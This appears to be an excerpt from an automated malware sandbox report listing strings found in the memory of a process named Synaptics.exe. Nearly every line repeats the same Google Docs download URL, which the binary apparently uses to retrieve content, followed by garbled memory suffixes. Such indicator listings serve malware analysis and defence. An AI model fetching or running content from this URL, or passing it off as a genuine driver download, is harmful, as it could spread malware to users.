Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4CQ
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4UX
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4d
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4m
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download51:25
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6M
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7VE
Source: Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download81
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8CG
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8E
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8Ob
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9US
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9d
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9m
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;y
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?xY
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA-
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAB
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAPPKBM
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAj
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB0
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC1L
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCerLi
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCompa
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD6c
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDB
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDC
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDL
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDk
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDl
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE.
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEE
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF1
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFE
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFM
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG1-0
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG3
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG3N
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGRXZ
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGU
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG~
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHO
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI6v
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIC
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIT
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIlW
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJd0N8
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK1N
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKy
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLN
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLU
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMFkIXaYmOJRGsm
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNA?
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNo
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOx
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2556341223.00000000101EE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP0
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP1Y
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPL
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPW
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQU
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSA
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS~
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUserR
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVB
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVL
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVv
